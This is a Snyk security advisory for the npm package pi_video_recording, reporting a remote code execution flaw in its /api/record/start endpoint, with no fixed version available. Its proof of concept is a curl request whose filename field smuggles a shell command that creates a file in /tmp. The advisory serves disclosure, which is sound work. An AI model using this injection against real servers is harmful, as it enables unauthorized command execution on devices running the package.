Remote Code Execution (RCE) Affecting pi_video_recording package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PIVIDEORECORDING-174696
  • published14 May 2019
  • disclosed25 Jan 2019
  • creditCustomer Security and Trust Team of Microsoft Corp.

Introduced: 25 Jan 2019

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for pi_video_recording.

Overview

pi_video_recording is a Raspbian with raspivid module for NPM.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Due to insufficient input validation, the server used by raspberry-pi video recording & live executes arbitrary code through the /api/record/start endpoint.

POC

curl -POST -H "Content-Type: application/json" -d '{"filename": " || touch /tmp/worked;"}

Sending the above HTTP request to a http://localhost:5000/api/record/start creates a new file within the /tmp/ directory of the target server.

CVSS Base Scores

version 3.1